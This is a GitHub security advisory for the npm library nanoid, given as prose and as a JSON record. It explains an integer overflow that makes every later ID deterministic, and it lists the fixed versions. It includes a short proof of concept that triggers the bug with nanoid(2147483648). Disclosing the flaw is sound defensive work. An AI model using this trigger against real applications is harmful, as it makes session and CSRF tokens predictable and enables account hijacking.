GHSA-XWG4-73V4-XW9W
Vulnerability from github – Published: 2026-09-01 19:23 – Updated: 2026-09-01 19:23Summary
An integer overflow in nanoid(size) permanently corrupts the process-wide CSPRNG pool, causing all subsequent ID generation to return the deterministic string "uuuuuuuuuuuuuuuuuuuuu". Any application that passes user-influenced values to the size parameter loses all randomness guarantees for session tokens, CSRF tokens, and unique identifiers until process restart.
Details
nanoid() at index.js:101 coerces the size parameter with size |= 0, which converts it to a signed 32-bit integer. When size >= 2^31 (e.g., 2147483648), this wraps to -2147483648.
The negative value is passed to fillPool() (index.js:15):
function fillPool(bytes) {
if (!pool || pool.length < bytes) { // false: pool exists, -2B < pool.length
pool = Buffer.allocUnsafe(bytes * POOL_SIZE_MULTIPLIER)
crypto.getRandomValues(pool)
poolOffset = 0
} else if (poolOffset + bytes > pool.length) { // false: poolOffset + (-2B) < pool.length
crypto.getRandomValues(pool)
poolOffset = 0
}
poolOffset += bytes // poolOffset += -2147483648 → deeply negative
}
Neither branch triggers, so the pool is never refreshed. poolOffset becomes ~-2.1 billion.
Subsequent nanoid() calls execute:
for (let i = poolOffset - size; i < poolOffset; i++) {
id += scopedUrlAlphabet[pool[i] & 63]
}
pool[negative_index] returns undefined. undefined & 63 evaluates to 0. urlAlphabet[0] is 'u'. Every ID becomes "uuuuuuuuuuuuuuuuuuuuu".
The corruption is persistent — it affects all subsequent calls in the process until ~100 million calls eventually wrap poolOffset back to positive, or the process restarts.
PoC
import { nanoid } from 'nanoid'
// Step 1: Normal operation
console.log(nanoid()) // e.g., "V1StGXR8_Z5jdHi6B-myT"
// Step 2: Trigger overflow (e.g., from an API parameter)
try { nanoid(2147483648) } catch(e) {}
// Step 3: All subsequent IDs are deterministic
console.log(nanoid()) // "uuuuuuuuuuuuuuuuuuuuu"
console.log(nanoid()) // "uuuuuuuuuuuuuuuuuuuuu"
console.log(nanoid()) // "uuuuuuuuuuuuuuuuuuuuu"
// ... forever, process-wide
Run with: node --experimental-vm-modules poc.mjs
Attack scenario: Any API endpoint that accepts a user-controlled length/size parameter (URL shortener slug length, configurable token size, etc.) and passes it to nanoid(userInput).
Impact
Complete loss of ID unpredictability and uniqueness, process-wide, from a single request.
- All session IDs, CSRF tokens, API keys, and database identifiers generated after the attack are identical and predictable
- An attacker can predict all tokens issued to other users, enabling session hijacking and authentication bypass
- The corruption is persistent (survives across requests) and affects all consumers of
nanoidin the same process - No special privileges or preconditions required — a single unauthenticated request is sufficient
- Affects any application that passes external input to the
sizeparameter without validation
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "nanoid"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.3.12"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "nanoid"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "5.1.11"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-73086"
],
"database_specific": {
"cwe_ids": [
"CWE-190"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-01T19:23:45Z",
"nvd_published_at": "2026-08-11T17:19:16Z",
"severity": "HIGH"
},
"details": "### Summary\n\nAn integer overflow in `nanoid(size)` permanently corrupts the process-wide CSPRNG pool, causing all subsequent ID generation to return the deterministic string `\"uuuuuuuuuuuuuuuuuuuuu\"`. Any application that passes user-influenced values to the `size` parameter loses all randomness guarantees for session tokens, CSRF tokens, and unique identifiers until process restart.\n\n### Details\n\n`nanoid()` at [`index.js:101`](https://github.com/ai/nanoid/blob/main/index.js#L101) coerces the `size` parameter with `size |= 0`, which converts it to a signed 32-bit integer. When `size \u003e= 2^31` (e.g., `2147483648`), this wraps to `-2147483648`.\n\nThe negative value is passed to `fillPool()` ([`index.js:15`](https://github.com/ai/nanoid/blob/main/index.js#L15)):\n\n```javascript\nfunction fillPool(bytes) {\n if (!pool || pool.length \u003c bytes) { // false: pool exists, -2B \u003c pool.length\n pool = Buffer.allocUnsafe(bytes * POOL_SIZE_MULTIPLIER)\n crypto.getRandomValues(pool)\n poolOffset = 0\n } else if (poolOffset + bytes \u003e pool.length) { // false: poolOffset + (-2B) \u003c pool.length\n crypto.getRandomValues(pool)\n poolOffset = 0\n }\n poolOffset += bytes // poolOffset += -2147483648 \u2192 deeply negative\n}\n```\n\nNeither branch triggers, so the pool is never refreshed. `poolOffset` becomes ~-2.1 billion.\n\nSubsequent `nanoid()` calls execute:\n```javascript\nfor (let i = poolOffset - size; i \u003c poolOffset; i++) {\n id += scopedUrlAlphabet[pool[i] \u0026 63]\n}\n```\n\n`pool[negative_index]` returns `undefined`. `undefined \u0026 63` evaluates to `0`. `urlAlphabet[0]` is `\u0027u\u0027`. Every ID becomes `\"uuuuuuuuuuuuuuuuuuuuu\"`.\n\nThe corruption is **persistent** \u2014 it affects all subsequent calls in the process until ~100 million calls eventually wrap `poolOffset` back to positive, or the process restarts.\n\n### PoC\n\n```javascript\nimport { nanoid } from \u0027nanoid\u0027\n\n// Step 1: Normal operation\nconsole.log(nanoid()) // e.g., \"V1StGXR8_Z5jdHi6B-myT\"\n\n// Step 2: Trigger overflow (e.g., from an API parameter)\ntry { nanoid(2147483648) } catch(e) {}\n\n// Step 3: All subsequent IDs are deterministic\nconsole.log(nanoid()) // \"uuuuuuuuuuuuuuuuuuuuu\"\nconsole.log(nanoid()) // \"uuuuuuuuuuuuuuuuuuuuu\"\nconsole.log(nanoid()) // \"uuuuuuuuuuuuuuuuuuuuu\"\n// ... forever, process-wide\n```\n\nRun with: `node --experimental-vm-modules poc.mjs`\n\nAttack scenario: Any API endpoint that accepts a user-controlled length/size parameter (URL shortener slug length, configurable token size, etc.) and passes it to `nanoid(userInput)`.\n\n### Impact\n\n**Complete loss of ID unpredictability and uniqueness, process-wide, from a single request.**\n\n- All session IDs, CSRF tokens, API keys, and database identifiers generated after the attack are identical and predictable\n- An attacker can predict all tokens issued to other users, enabling session hijacking and authentication bypass\n- The corruption is persistent (survives across requests) and affects all consumers of `nanoid` in the same process\n- No special privileges or preconditions required \u2014 a single unauthenticated request is sufficient\n- Affects any application that passes external input to the `size` parameter without validation",
"id": "GHSA-xwg4-73v4-xw9w",
"modified": "2026-09-01T19:23:45Z",
"published": "2026-09-01T19:23:45Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/ai/nanoid/security/advisories/GHSA-xwg4-73v4-xw9w"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-73086"
},
{
"type": "WEB",
"url": "https://github.com/ai/nanoid/commit/7087969281cab8ba8ae3babf1894e819068b3bb4"
},
{
"type": "WEB",
"url": "https://github.com/ai/nanoid/commit/821dfed7b5db7f88e92f56c60eef32c8135077c3"
},
{
"type": "WEB",
"url": "https://github.com/ai/nanoid/commit/b0036ed60dc9facd7f1191a50dfb3076500202ac"
},
{
"type": "PACKAGE",
"url": "https://github.com/ai/nanoid"
},
{
"type": "WEB",
"url": "https://github.com/ai/nanoid/releases/tag/3.3.12"
},
{
"type": "WEB",
"url": "https://github.com/ai/nanoid/releases/tag/5.1.11"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "nanoid: Integer Overflow or Wraparound"
}
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